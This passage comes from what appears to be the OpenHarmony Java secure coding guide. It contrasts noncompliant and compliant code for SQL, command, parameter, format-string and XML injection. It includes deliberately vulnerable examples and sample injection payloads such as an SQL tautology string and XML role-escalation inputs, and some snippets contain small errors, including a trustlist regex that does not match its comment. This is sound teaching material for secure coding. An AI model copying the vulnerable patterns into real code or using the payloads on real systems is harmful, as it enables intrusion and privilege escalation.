974e41f4b71Sopenharmony_ci 975e41f4b71Sopenharmony_ciThis compliant code example uses the @Valid annotation to trigger parameter validation, and the validation logic is the rule specified by the annotation during object attribute declaration. Since the public method `employeeService.updateCompany()` is invoked inside the current module and parameter validation is performed for the invocation, further validation is not required. 976e41f4b71Sopenharmony_ci 977e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 978e41f4b71Sopenharmony_ci 979e41f4b71Sopenharmony_ciThis noncompliant code example directly uses the obtained environment variable value without validating it. 980e41f4b71Sopenharmony_ci 981e41f4b71Sopenharmony_ci```java 982e41f4b71Sopenharmony_cipublic static String getFile(String filePath, String fileName) { 983e41f4b71Sopenharmony_ci //Obtain the class path of the process 984e41f4b71Sopenharmony_ci String path = System.getProperty(RUNTIME_BASE_DIR); 985e41f4b71Sopenharmony_ci //Directly use it 986e41f4b71Sopenharmony_ci} 987e41f4b71Sopenharmony_ci``` 988e41f4b71Sopenharmony_ci 989e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 990e41f4b71Sopenharmony_ci 991e41f4b71Sopenharmony_ciThis compliant code example uses the `getResource()` and `getResourceAsStream()` methods provided by ClassLoader to obtain resources from the loaded class path. 992e41f4b71Sopenharmony_ci 993e41f4b71Sopenharmony_ci```java 994e41f4b71Sopenharmony_cipublic static String getSavePath(String filePath, String fileName) { 995e41f4b71Sopenharmony_ci return ClassLoader.getSystemResource(fileName).getPath(); 996e41f4b71Sopenharmony_ci} 997e41f4b71Sopenharmony_ci``` 998e41f4b71Sopenharmony_ci 999e41f4b71Sopenharmony_ciCanonicalize the environment variable value and validate it before using it: 1000e41f4b71Sopenharmony_ci 1001e41f4b71Sopenharmony_ci```java 1002e41f4b71Sopenharmony_cipublic static String getFile(String filePath, String fileName) { 1003e41f4b71Sopenharmony_ci //Obtain the class path of the process 1004e41f4b71Sopenharmony_ci String path = System.getProperty(RUNTIME_BASE_DIR); 1005e41f4b71Sopenharmony_ci 1006e41f4b71Sopenharmony_ci //Canonicalization 1007e41f4b71Sopenharmony_ci //Validation, for example, StringUtils.startsWith(path, "/opt/xxxx/release/"); 1008e41f4b71Sopenharmony_ci //Use 1009e41f4b71Sopenharmony_ci} 1010e41f4b71Sopenharmony_ci``` 1011e41f4b71Sopenharmony_ci 1012e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 1013e41f4b71Sopenharmony_ci 1014e41f4b71Sopenharmony_ciThis noncompliant code example uses the configuration file without validating it. 1015e41f4b71Sopenharmony_ci 1016e41f4b71Sopenharmony_ci```java 1017e41f4b71Sopenharmony_ci@Configuration 1018e41f4b71Sopenharmony_ci@PropertySource("classpath:xxx.properties") 1019e41f4b71Sopenharmony_ci@Component 1020e41f4b71Sopenharmony_cipublic class XxxConfig { 1021e41f4b71Sopenharmony_ci @Value("${appId}") 1022e41f4b71Sopenharmony_ci private String appId; 1023e41f4b71Sopenharmony_ci 1024e41f4b71Sopenharmony_ci @Value("${secret}") 1025e41f4b71Sopenharmony_ci private String citySecret; 1026e41f4b71Sopenharmony_ci} 1027e41f4b71Sopenharmony_ci``` 1028e41f4b71Sopenharmony_ci 1029e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 1030e41f4b71Sopenharmony_ci 1031e41f4b71Sopenharmony_ciThe Spring Boot framework can use annotations @ConfigurationProperties and @Validated to validate the configuration file: 1032e41f4b71Sopenharmony_ci 1033e41f4b71Sopenharmony_ci```java 1034e41f4b71Sopenharmony_ci@ConfigurationProperties(locations = "classpath: xxx.properties", prefix = "xxx") 1035e41f4b71Sopenharmony_ci@Validated 1036e41f4b71Sopenharmony_cipublic class XxxConfig { 1037e41f4b71Sopenharmony_ci @Value("${appId}") 1038e41f4b71Sopenharmony_ci @Pattern(regexp = "[0-9_A-Z]{32}") 1039e41f4b71Sopenharmony_ci private String appId; 1040e41f4b71Sopenharmony_ci 1041e41f4b71Sopenharmony_ci @Value("${secret}") 1042e41f4b71Sopenharmony_ci @Pattern(regexp = "[0-9A-Z]{64,138}", message = "Authentication credential error!") 1043e41f4b71Sopenharmony_ci private String citySecret; 1044e41f4b71Sopenharmony_ci 1045e41f4b71Sopenharmony_ci //Setter and Getter methods 1046e41f4b71Sopenharmony_ci} 1047e41f4b71Sopenharmony_ci``` 1048e41f4b71Sopenharmony_ci 1049e41f4b71Sopenharmony_ciThe ServiceComb framework can use the **validation-api** provided by Java to obtain the configuration file object from the Bean context and explicitly invoke the validation method. 1050e41f4b71Sopenharmony_ci 1051e41f4b71Sopenharmony_ci## Do not directly use external data to concatenate SQL statements 1052e41f4b71Sopenharmony_ci 1053e41f4b71Sopenharmony_ci**\[Description]** 1054e41f4b71Sopenharmony_ci 1055e41f4b71Sopenharmony_ciSQL injection occurs when the database operations represented by SQL statements constructed using external data do not behave as expected, which may lead to information leak or data tampering. The root cause is the direct use of external data to concatenate the SQL statements. The following measures can help prevent SQL injection: 1056e41f4b71Sopenharmony_ci 1057e41f4b71Sopenharmony_ci- Parameterized query: the most effective, but not applicable to table names and field names in SQL statements; 1058e41f4b71Sopenharmony_ci- Trustlist validation on external data: applicable to table names and field names used to concatenate SQL statements; 1059e41f4b71Sopenharmony_ci- Escaping special characters related to SQL injection in external data: applicable to scenarios where SQL statements must be concatenated using strings. Only fields with quotation marks can be escaped. 1060e41f4b71Sopenharmony_ci 1061e41f4b71Sopenharmony_ciParameterized query is preferred because it is an easy way to effectively prevent SQL injection. In addition, parameterized query can improve database access performance. For example, SQL Server and Oracle databases cache a query plan for reuse when the same query statement is executed repeatedly. Common ORM frameworks (such as Hibernate and iBATIS) also support parameterized query. 1062e41f4b71Sopenharmony_ci 1063e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (Dynamically Building SQL Statements in Java Code) 1064e41f4b71Sopenharmony_ci 1065e41f4b71Sopenharmony_ci```java 1066e41f4b71Sopenharmony_ciStatement stmt = null; 1067e41f4b71Sopenharmony_ciResultSet rs = null; 1068e41f4b71Sopenharmony_citry { 1069e41f4b71Sopenharmony_ci String userName = request.getParameter("name"); 1070e41f4b71Sopenharmony_ci String password = request.getParameter("password"); 1071e41f4b71Sopenharmony_ci ... 1072e41f4b71Sopenharmony_ci String sqlStr = "SELECT * FROM t_user_info WHERE name = '" + userName 1073e41f4b71Sopenharmony_ci + "' AND password = '" + password + "'"; 1074e41f4b71Sopenharmony_ci stmt = connection.createStatement(); 1075e41f4b71Sopenharmony_ci rs = stmt.executeQuery(sqlString); 1076e41f4b71Sopenharmony_ci ... //Handle the result set 1077e41f4b71Sopenharmony_ci} catch (SQLException ex) { 1078e41f4b71Sopenharmony_ci //Handle the exception 1079e41f4b71Sopenharmony_ci} 1080e41f4b71Sopenharmony_ci``` 1081e41f4b71Sopenharmony_ci 1082e41f4b71Sopenharmony_ciThis noncompliant code example uses the user-supplied user name and password to construct the SQL statement and verifies the user name and password. The SQL statement is constructed through concatenation, leading to SQL injection risks. An ill-intentioned user who knows the user name can perform the query using `zhangsan' OR 'a' = 'a` and an **arbitrary password**. 1083e41f4b71Sopenharmony_ci 1084e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Using **PreparedStatement** for Parameterized Query) 1085e41f4b71Sopenharmony_ci 1086e41f4b71Sopenharmony_ci```java 1087e41f4b71Sopenharmony_ciPreparedStatement stmt = null; 1088e41f4b71Sopenharmony_ciResultSet rs = null; 1089e41f4b71Sopenharmony_citry { 1090e41f4b71Sopenharmony_ci String userName = request.getParameter("name"); 1091e41f4b71Sopenharmony_ci String password = request.getParameter("password"); 1092e41f4b71Sopenharmony_ci ... //Ensure that the lengths of userName and password are valid 1093e41f4b71Sopenharmony_ci String sqlStr = "SELECT * FROM t_user_info WHERE name=? AND password =?"; 1094e41f4b71Sopenharmony_ci stmt = connection.prepareStatement(sqlStr); 1095e41f4b71Sopenharmony_ci stmt.setString(1, userName); 1096e41f4b71Sopenharmony_ci stmt.setString(2, password); 1097e41f4b71Sopenharmony_ci rs = stmt.executeQuery(); 1098e41f4b71Sopenharmony_ci ... //Handle the result set 1099e41f4b71Sopenharmony_ci} catch (SQLException ex) { 1100e41f4b71Sopenharmony_ci //Handle the exception 1101e41f4b71Sopenharmony_ci} 1102e41f4b71Sopenharmony_ci``` 1103e41f4b71Sopenharmony_ci 1104e41f4b71Sopenharmony_ciIn parameterized query, placeholders are used to represent parameter values required at execution time. In this way, the semantic logic of the SQL query is pre-defined, and the actual parameter value is determined at the execution time. Parameterized query helps databases distinguish semantic logic from parameters in SQL statements, ensuring that user input cannot change the expected semantic logic of the SQL query. If the attacker enters `zhangsan' OR 'a' = 'a` as the user name, the string is used only as the value of the **name** field. 1105e41f4b71Sopenharmony_ci 1106e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Escaping the Input) 1107e41f4b71Sopenharmony_ci 1108e41f4b71Sopenharmony_ci```java 1109e41f4b71Sopenharmony_cipublic List<Book> queryBooks(List<Expression> queryCondition) { 1110e41f4b71Sopenharmony_ci ... 1111e41f4b71Sopenharmony_ci try { 1112e41f4b71Sopenharmony_ci StringBuilder sb = new StringBuilder("select * from t_book where "); 1113e41f4b71Sopenharmony_ci Codec oe = new OracleCodec(); 1114e41f4b71Sopenharmony_ci if (queryCondition != null && !queryCondition.isEmpty()) { 1115e41f4b71Sopenharmony_ci for (Expression e : queryCondition) { 1116e41f4b71Sopenharmony_ci String exprString = e.getColumn() + e.getOperator(); 1117e41f4b71Sopenharmony_ci String safeValue = XXXEncoder.encodeForSQL(oe, e.getValue()); 1118e41f4b71Sopenharmony_ci sb.append(exprString).append("'").append(safeValue).append("' and "); 1119e41f4b71Sopenharmony_ci } 1120e41f4b71Sopenharmony_ci sb.append("1=1"); 1121e41f4b71Sopenharmony_ci Statement stat = connection.createStatement(); 1122e41f4b71Sopenharmony_ci ResultSet rs = stat.executeQuery(sb.toString()); 1123e41f4b71Sopenharmony_ci ... //Other code 1124e41f4b71Sopenharmony_ci } 1125e41f4b71Sopenharmony_ci } 1126e41f4b71Sopenharmony_ci ... 1127e41f4b71Sopenharmony_ci} 1128e41f4b71Sopenharmony_ci``` 1129e41f4b71Sopenharmony_ci 1130e41f4b71Sopenharmony_ciAlthough parameterized query is the most convenient and effective way to prevent SQL injection, it is not applicable to all scenarios, because not any part of an SQL statement can be replaced by a placeholder before execution. When an SQL statement is dynamically constructed using external data that cannot be replaced by placeholders before execution, the external data must be validated. Each DBMS has its own escape mechanism to tell the database that the input should be treated as data, not code logic. Therefore, as long as the input data is properly escaped, SQL injection will not occur. 1131e41f4b71Sopenharmony_ci 1132e41f4b71Sopenharmony_ci**Note**: If the passed data is a field name or table name, trustlist validation is recommended. 1133e41f4b71Sopenharmony_ci 1134e41f4b71Sopenharmony_ciSimilar to concatenating parameters in program code, concatenating parameter values to create query strings in stored procedures also has SQL injection risks. 1135e41f4b71Sopenharmony_ci 1136e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (Dynamically Building SQL Statements in Stored Procedure) 1137e41f4b71Sopenharmony_ci 1138e41f4b71Sopenharmony_ciSQL Server stored procedure: 1139e41f4b71Sopenharmony_ci 1140e41f4b71Sopenharmony_ci```sql 1141e41f4b71Sopenharmony_ciCREATE PROCEDURE sp_queryItem 1142e41f4b71Sopenharmony_ci @userName varchar(50), 1143e41f4b71Sopenharmony_ci @password varchar(50) 1144e41f4b71Sopenharmony_ciAS 1145e41f4b71Sopenharmony_ciBEGIN 1146e41f4b71Sopenharmony_ci DECLARE @sql nvarchar(500); 1147e41f4b71Sopenharmony_ci SET @sql = 'SELECT * FROM t_user_info 1148e41f4b71Sopenharmony_ci WHERE name= ''' + @userName + ''' 1149e41f4b71Sopenharmony_ci AND password= ''' + @password + ''''; 1150e41f4b71Sopenharmony_ci EXEC(@sql); 1151e41f4b71Sopenharmony_ciEND 1152e41f4b71Sopenharmony_ciGO 1153e41f4b71Sopenharmony_ci``` 1154e41f4b71Sopenharmony_ci 1155e41f4b71Sopenharmony_ciSimilar to concatenating parameters in program code, concatenating parameter values to create query strings in stored procedures also has SQL injection risks. 1156e41f4b71Sopenharmony_ci 1157e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Parameterized Query in Stored Procedure) 1158e41f4b71Sopenharmony_ci 1159e41f4b71Sopenharmony_ciSQL Server stored procedure: 1160e41f4b71Sopenharmony_ci 1161e41f4b71Sopenharmony_ci```sql 1162e41f4b71Sopenharmony_ciCREATE PROCEDURE sp_queryItem 1163e41f4b71Sopenharmony_ci @userName varchar(50), 1164e41f4b71Sopenharmony_ci @password varchar(50) 1165e41f4b71Sopenharmony_ciAS 1166e41f4b71Sopenharmony_ciBEGIN 1167e41f4b71Sopenharmony_ci SELECT * FROM t_user_info 1168e41f4b71Sopenharmony_ci WHERE name = @userName 1169e41f4b71Sopenharmony_ci AND password = @password; 1170e41f4b71Sopenharmony_ciEND 1171e41f4b71Sopenharmony_ciGO 1172e41f4b71Sopenharmony_ci``` 1173e41f4b71Sopenharmony_ci 1174e41f4b71Sopenharmony_ciUse parameterized query in stored procedures and avoid insecure dynamic building of SQL statements. When compiling these stored procedures, the database will generate a SELECT query execution plan to allow only original SQL semantics to be executed and prohibit the execution of any parameter values, even injected SQL statements. 1175e41f4b71Sopenharmony_ci 1176e41f4b71Sopenharmony_ci## Do not use external data to construct format strings 1177e41f4b71Sopenharmony_ci 1178e41f4b71Sopenharmony_ci**\[Description]** 1179e41f4b71Sopenharmony_ci 1180e41f4b71Sopenharmony_ciFormat in Java can convert an object into a character string in a specified format. A format string controls the length, content, and style of the final character string. If the format specified in the format string does not match the format object, an exception may be thrown. An attacker who can directly control a format string can cause information leak, DoS, system functional anomalies, and other risks. 1181e41f4b71Sopenharmony_ci 1182e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 1183e41f4b71Sopenharmony_ci 1184e41f4b71Sopenharmony_ci```java 1185e41f4b71Sopenharmony_cipublic String formatInfo(String formatStr) { 1186e41f4b71Sopenharmony_ci String value = getData(); 1187e41f4b71Sopenharmony_ci return String.format(formatStr, value)); 1188e41f4b71Sopenharmony_ci} 1189e41f4b71Sopenharmony_ci 1190e41f4b71Sopenharmony_ciString formatStr = req.getParameter("format"); 1191e41f4b71Sopenharmony_ciString formattedValue = formatInfo(formatStr); 1192e41f4b71Sopenharmony_ci``` 1193e41f4b71Sopenharmony_ci 1194e41f4b71Sopenharmony_ciIn this noncompliant code example, an externally specified format is used to format a character string. If the externally specified format is not a character type (for example, **%d**), an exception will occur during the format operation. 1195e41f4b71Sopenharmony_ci 1196e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 1197e41f4b71Sopenharmony_ci 1198e41f4b71Sopenharmony_ci```java 1199e41f4b71Sopenharmony_cipublic String formatInfo() { 1200e41f4b71Sopenharmony_ci String value = getData(); 1201e41f4b71Sopenharmony_ci return String.format("my format: %s", value)); 1202e41f4b71Sopenharmony_ci} 1203e41f4b71Sopenharmony_ci``` 1204e41f4b71Sopenharmony_ci 1205e41f4b71Sopenharmony_ciThis compliant code example excludes user input from the format string. 1206e41f4b71Sopenharmony_ci 1207e41f4b71Sopenharmony_ci## Do not pass external data to the **Runtime.exec()** method or **java.lang.ProcessBuilder** class 1208e41f4b71Sopenharmony_ci 1209e41f4b71Sopenharmony_ci**\[Description]** 1210e41f4b71Sopenharmony_ci 1211e41f4b71Sopenharmony_ciThe `Runtime.exec()` method or `java.lang.ProcessBuilder` class is used to start a new process and execute commands in the new process. Directly executing a command constructed using external data, for example, `Runtime.getRuntime().exec("ping 127.0.0.1")`, may incur the following risks: 1212e41f4b71Sopenharmony_ci 1213e41f4b71Sopenharmony_ci- The command to be executed is split using the command interpreter. In this mode, multiple commands can be executed, causing command injection risks. 1214e41f4b71Sopenharmony_ci- Parameters are injected into the command using spaces, double quotation marks, or strings starting **-/**, leading to parameter injection risks. 1215e41f4b71Sopenharmony_ci 1216e41f4b71Sopenharmony_ci**Using external data to construct non-shell commands** 1217e41f4b71Sopenharmony_ci 1218e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 1219e41f4b71Sopenharmony_ci 1220e41f4b71Sopenharmony_ci```java 1221e41f4b71Sopenharmony_ciString cmd = "ping" + ip; 1222e41f4b71Sopenharmony_ciRuntime rt = Runtime.getRuntime(); 1223e41f4b71Sopenharmony_ciProcess proc = rt.exec(cmd); 1224e41f4b71Sopenharmony_ci``` 1225e41f4b71Sopenharmony_ci 1226e41f4b71Sopenharmony_ciWhen the value of **ip** is **127.0.0.1 -t**, the **-t** parameter is injected into the executed command. As a result, the ping process is continuously executed. 1227e41f4b71Sopenharmony_ci 1228e41f4b71Sopenharmony_ciThe solutions to command injection or parameter injection are as follows: 1229e41f4b71Sopenharmony_ci 1230e41f4b71Sopenharmony_ci1\. **Do not directly run the command** 1231e41f4b71Sopenharmony_ci 1232e41f4b71Sopenharmony_ciTo use the functions provided by standard Java libraries or open-source components, use the APIs of the libraries or components to avoid running commands. 1233e41f4b71Sopenharmony_ci 1234e41f4b71Sopenharmony_ciIf command execution is inevitable, validate and sanitize external data. 1235e41f4b71Sopenharmony_ci 1236e41f4b71Sopenharmony_ci2\. **Validate external data** 1237e41f4b71Sopenharmony_ci 1238e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Data Validation) 1239e41f4b71Sopenharmony_ci 1240e41f4b71Sopenharmony_ci```java 1241e41f4b71Sopenharmony_ci... 1242e41f4b71Sopenharmony_ci//The str value comes from the user input 1243e41f4b71Sopenharmony_ciif (!Pattern.matches("[0-9A-Za-z@]+", str)) { 1244e41f4b71Sopenharmony_ci //Handle the error 1245e41f4b71Sopenharmony_ci} 1246e41f4b71Sopenharmony_ci... 1247e41f4b71Sopenharmony_ci``` 1248e41f4b71Sopenharmony_ci 1249e41f4b71Sopenharmony_ciWhen external data is used to concatenate commands, validate external data using a trustlist and exclude special characters that may incur injection risks. 1250e41f4b71Sopenharmony_ci 1251e41f4b71Sopenharmony_ci3\. **Escape external data** 1252e41f4b71Sopenharmony_ci 1253e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Escape) 1254e41f4b71Sopenharmony_ci 1255e41f4b71Sopenharmony_ci```java 1256e41f4b71Sopenharmony_ciString encodeIp = XXXXEncoder.encodeForOS(new WindowsCodec(), ip); 1257e41f4b71Sopenharmony_ciString cmd = "cmd.exe /c ping " + encodeIp; 1258e41f4b71Sopenharmony_ciRuntime rt = Runtime.getRuntime(); 1259e41f4b71Sopenharmony_ciProcess proc = rt.exec(cmd); 1260e41f4b71Sopenharmony_ci... 1261e41f4b71Sopenharmony_ci``` 1262e41f4b71Sopenharmony_ci 1263e41f4b71Sopenharmony_ciIf risky special characters cannot be avoided through input validation during command execution, the external input must be escaped. Using escaped fields to concatenate commands can effectively prevent command injection. 1264e41f4b71Sopenharmony_ci 1265e41f4b71Sopenharmony_ciRemarks: The correct practice is to escape only external input, but not the entire concatenated command. The escape method can effectively prevent command injection, but not parameter injection. 1266e41f4b71Sopenharmony_ci 1267e41f4b71Sopenharmony_ci## Do not directly use external data to concatenate XML 1268e41f4b71Sopenharmony_ci 1269e41f4b71Sopenharmony_ci**\[Description]** 1270e41f4b71Sopenharmony_ci 1271e41f4b71Sopenharmony_ciUsing unverified data to construct XML will result in XML injection vulnerabilities. If users are allowed to enter structured XML segments, they can inject XML tags into the XML data domain to rewrite the structure and content of the target XML file. These tags are identified and interpreted by the XML parser and may cause XML injection. 1272e41f4b71Sopenharmony_ci 1273e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 1274e41f4b71Sopenharmony_ci 1275e41f4b71Sopenharmony_ci```java 1276e41f4b71Sopenharmony_ciprivate void createXMLStream(BufferedOutputStream outStream, User user) 1277e41f4b71Sopenharmony_ci throws IOException { 1278e41f4b71Sopenharmony_ci String xmlString; 1279e41f4b71Sopenharmony_ci xmlString = "<user><role>operator</role><id>" + user.getUserId() 1280e41f4b71Sopenharmony_ci + "</id><description>" + user.getDescription() + "</description></user>"; 1281e41f4b71Sopenharmony_ci ... //Parse the XML string 1282e41f4b71Sopenharmony_ci} 1283e41f4b71Sopenharmony_ci``` 1284e41f4b71Sopenharmony_ci 1285e41f4b71Sopenharmony_ciAn ill-intentioned user may use the following string as the user ID: 1286e41f4b71Sopenharmony_ci 1287e41f4b71Sopenharmony_ci``` 1288e41f4b71Sopenharmony_ci"joe</id><role>administrator</role><id>joe" 1289e41f4b71Sopenharmony_ci 1290e41f4b71Sopenharmony_ci``` 1291e41f4b71Sopenharmony_ci 1292e41f4b71Sopenharmony_ciAnd enter the following normal input in the description field: 1293e41f4b71Sopenharmony_ci 1294e41f4b71Sopenharmony_ci``` 1295e41f4b71Sopenharmony_ci"I want to be an administrator" 1296e41f4b71Sopenharmony_ci 1297e41f4b71Sopenharmony_ci``` 1298e41f4b71Sopenharmony_ci 1299e41f4b71Sopenharmony_ciEventually, the entire XML string becomes the following: 1300e41f4b71Sopenharmony_ci 1301e41f4b71Sopenharmony_ci```xml 1302e41f4b71Sopenharmony_ci<user> 1303e41f4b71Sopenharmony_ci <role>operator</role> 1304e41f4b71Sopenharmony_ci <id>joe</id> 1305e41f4b71Sopenharmony_ci <role>administrator</role> 1306e41f4b71Sopenharmony_ci <id>joe</id> 1307e41f4b71Sopenharmony_ci <description>I want to be an administrator</description> 1308e41f4b71Sopenharmony_ci</user> 1309e41f4b71Sopenharmony_ci``` 1310e41f4b71Sopenharmony_ci 1311e41f4b71Sopenharmony_ciThe SAX parser (org.xml.sax and javax.xml.parsers.SAXParser) overwrites the value of the second **role** field when interpreting the XML file. As a result, the user is escalated from an operator to an administrator. 1312e41f4b71Sopenharmony_ci 1313e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (XML Schema or DTD Validation) 1314e41f4b71Sopenharmony_ci 1315e41f4b71Sopenharmony_ci```java 1316e41f4b71Sopenharmony_ciprivate void createXMLStream(BufferedOutputStream outStream, User user) 1317e41f4b71Sopenharmony_ci throws IOException { 1318e41f4b71Sopenharmony_ci String xmlString; 1319e41f4b71Sopenharmony_ci xmlString = "<user><id>" + user.getUserId() 1320e41f4b71Sopenharmony_ci + "</id><role>operator</role><description>" + user.getDescription() 1321e41f4b71Sopenharmony_ci + "</description></user>"; 1322e41f4b71Sopenharmony_ci 1323e41f4b71Sopenharmony_ci StreamSource xmlStream = new StreamSource(new StringReader(xmlString)); 1324e41f4b71Sopenharmony_ci 1325e41f4b71Sopenharmony_ci //Create an SAX parser that uses the schema to perform validation 1326e41f4b71Sopenharmony_ci SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); 1327e41f4b71Sopenharmony_ci StreamSource ss = new StreamSource(new File("schema.xsd")); 1328e41f4b71Sopenharmony_ci try { 1329e41f4b71Sopenharmony_ci Schema schema = sf.newSchema(ss); 1330e41f4b71Sopenharmony_ci Validator validator = schema.newValidator(); 1331e41f4b71Sopenharmony_ci validator.validate(xmlStream); 1332e41f4b71Sopenharmony_ci } catch (SAXException ex) { 1333e41f4b71Sopenharmony_ci throw new IOException("Invalid userId", ex); 1334e41f4b71Sopenharmony_ci } 1335e41f4b71Sopenharmony_ci 1336e41f4b71Sopenharmony_ci //The XML is valid and is processed 1337e41f4b71Sopenharmony_ci outStream.write(xmlString.getBytes(StandardCharsets.UTF_8)); 1338e41f4b71Sopenharmony_ci outStream.flush(); 1339e41f4b71Sopenharmony_ci} 1340e41f4b71Sopenharmony_ci``` 1341e41f4b71Sopenharmony_ci 1342e41f4b71Sopenharmony_ciThe schema definition in the **schema.xsd** file is as follows: 1343e41f4b71Sopenharmony_ci 1344e41f4b71Sopenharmony_ci```xml 1345e41f4b71Sopenharmony_ci<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> 1346e41f4b71Sopenharmony_ci <xs:element name="user"> 1347e41f4b71Sopenharmony_ci <xs:complexType> 1348e41f4b71Sopenharmony_ci <xs:sequence> 1349e41f4b71Sopenharmony_ci <xs:element name="id" type="xs:string"/> 1350e41f4b71Sopenharmony_ci <xs:element name="role" type="xs:string"/> 1351e41f4b71Sopenharmony_ci <xs:element name="description" type="xs:string"/> 1352e41f4b71Sopenharmony_ci </xs:sequence> 1353e41f4b71Sopenharmony_ci </xs:complexType> 1354e41f4b71Sopenharmony_ci </xs:element> 1355e41f4b71Sopenharmony_ci</xs:schema> 1356e41f4b71Sopenharmony_ci``` 1357e41f4b71Sopenharmony_ci 1358e41f4b71Sopenharmony_ciAn ill-intentioned user may use the following string as the user ID: 1359e41f4b71Sopenharmony_ci 1360e41f4b71Sopenharmony_ci``` 1361e41f4b71Sopenharmony_ci"joe</id><role>Administrator</role><!--" 1362e41f4b71Sopenharmony_ci 1363e41f4b71Sopenharmony_ci``` 1364e41f4b71Sopenharmony_ci 1365e41f4b71Sopenharmony_ciAnd enter the following string in the description field: 1366e41f4b71Sopenharmony_ci 1367e41f4b71Sopenharmony_ci``` 1368e41f4b71Sopenharmony_ci"--><description>I want to be an administrator" 1369e41f4b71Sopenharmony_ci 1370e41f4b71Sopenharmony_ci``` 1371e41f4b71Sopenharmony_ci 1372e41f4b71Sopenharmony_ciEventually, the entire XML string becomes the following: 1373e41f4b71Sopenharmony_ci 1374e41f4b71Sopenharmony_ci```xml 1375e41f4b71Sopenharmony_ci<user> 1376e41f4b71Sopenharmony_ci <id>joe</id> 1377e41f4b71Sopenharmony_ci <role>Administrator</role><!--</id> <role>operator</role> <description> --> 1378e41f4b71Sopenharmony_ci <description>I want to be an administrator</description> 1379e41f4b71Sopenharmony_ci</user> 1380e41f4b71Sopenharmony_ci``` 1381e41f4b71Sopenharmony_ci 1382e41f4b71Sopenharmony_ciThe `<!--` at the end of the user ID and the `-->` at the beginning of the description field will comment out the role information hard coded in the XML string. Although the user role has been changed to the administrator by an attacker, the entire XML string can still be verified by the schema. XML schema or DTD validation ensures that the XML format is valid, but attackers can tamper with the XML content without breaking the original XML format. 1383e41f4b71Sopenharmony_ci 1384e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Trustlist Validation) 1385e41f4b71Sopenharmony_ci 1386e41f4b71Sopenharmony_ci```java 1387e41f4b71Sopenharmony_ciprivate void createXMLStream(BufferedOutputStream outStream, User user) 1388e41f4b71Sopenharmony_ci throws IOException { 1389e41f4b71Sopenharmony_ci //Write the XML string only when the user ID contains only letters, digits, and underscores (_) 1390e41f4b71Sopenharmony_ci if (!Pattern.matches("[_a-bA-B0-9]+", user.getUserId())) { 1391e41f4b71Sopenharmony_ci //Handle the error 1392e41f4b71Sopenharmony_ci } 1393e41f4b71Sopenharmony_ci if (!Pattern.matches("[_a-bA-B0-9]+", user.getDescription())) { 1394e41f4b71Sopenharmony_ci //Handle the error 1395e41f4b71Sopenharmony_ci } 1396e41f4b71Sopenharmony_ci String xmlString = "<user><id>" + user.getUserId() 1397e41f4b71Sopenharmony_ci + "</id><role>operator</role><description>" 1398e41f4b71Sopenharmony_ci + user.getDescription() + "</description></user>"; 1399e41f4b71Sopenharmony_ci outStream.write(xmlString.getBytes(StandardCharsets.UTF_8)); 1400e41f4b71Sopenharmony_ci outStream.flush(); 1401e41f4b71Sopenharmony_ci} 1402e41f4b71Sopenharmony_ci``` 1403e41f4b71Sopenharmony_ci 1404e41f4b71Sopenharmony_ciThe trustlist validation ensures that the user ID contains only letters, digits, and underscores (\_) 1405e41f4b71Sopenharmony_ci 1406e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Using a Secure XML Library) 1407e41f4b71Sopenharmony_ci 1408e41f4b71Sopenharmony_ci```java 1409e41f4b71Sopenharmony_cipublic static void buildXML(FileWriter writer, User user) throws IOException { 1410e41f4b71Sopenharmony_ci Document userDoc = DocumentHelper.createDocument(); 1411e41f4b71Sopenharmony_ci Element userElem = userDoc.addElement("user"); 1412e41f4b71Sopenharmony_ci Element idElem = userElem.addElement("id"); 1413e41f4b71Sopenharmony_ci idElem.setText(user.getUserId()); 1414e41f4b71Sopenharmony_ci Element roleElem = userElem.addElement("role"); 1415e41f4b71Sopenharmony_ci roleElem.setText("operator"); 1416e41f4b71Sopenharmony_ci Element descrElem = userElem.addElement("description"); 1417e41f4b71Sopenharmony_ci descrElem.setText(user.getDescription()); 1418e41f4b71Sopenharmony_ci XMLWriter output = null; 1419e41f4b71Sopenharmony_ci try { 1420e41f4b71Sopenharmony_ci OutputFormat format = OutputFormat.createPrettyPrint(); 1421e41f4b71Sopenharmony_ci format.setEncoding("UTF-8"); 1422e41f4b71Sopenharmony_ci output = new XMLWriter(writer, format); 1423e41f4b71Sopenharmony_ci output.write(userDoc); 1424e41f4b71Sopenharmony_ci output.flush(); 1425e41f4b71Sopenharmony_ci } finally { 1426e41f4b71Sopenharmony_ci //Close the stream 1427e41f4b71Sopenharmony_ci } 1428e41f4b71Sopenharmony_ci} 1429e41f4b71Sopenharmony_ci``` 1430e41f4b71Sopenharmony_ci 1431e41f4b71Sopenharmony_ciThis compliant code example uses Dom4j, a well-defined, open-source XML tool library, to construct XML. Dom4j will encode the text data field in XML format to protect the original structure and format of the XML from damage. 1432e41f4b71Sopenharmony_ci 1433e41f4b71Sopenharmony_ciIn this example, if the attacker enters the following string as the user ID: 1434e41f4b71Sopenharmony_ci 1435e41f4b71Sopenharmony_ci``` 1436e41f4b71Sopenharmony_ci"joe</id><role>Administrator</role><!--" 1437e41f4b71Sopenharmony_ci 1438e41f4b71Sopenharmony_ci``` 1439e41f4b71Sopenharmony_ci 1440e41f4b71Sopenharmony_ciAnd enter the following string in the description field: 1441e41f4b71Sopenharmony_ci 1442e41f4b71Sopenharmony_ci``` 1443e41f4b71Sopenharmony_ci"--><description>I want to be an administrator" 1444e41f4b71Sopenharmony_ci 1445e41f4b71Sopenharmony_ci``` 1446e41f4b71Sopenharmony_ci 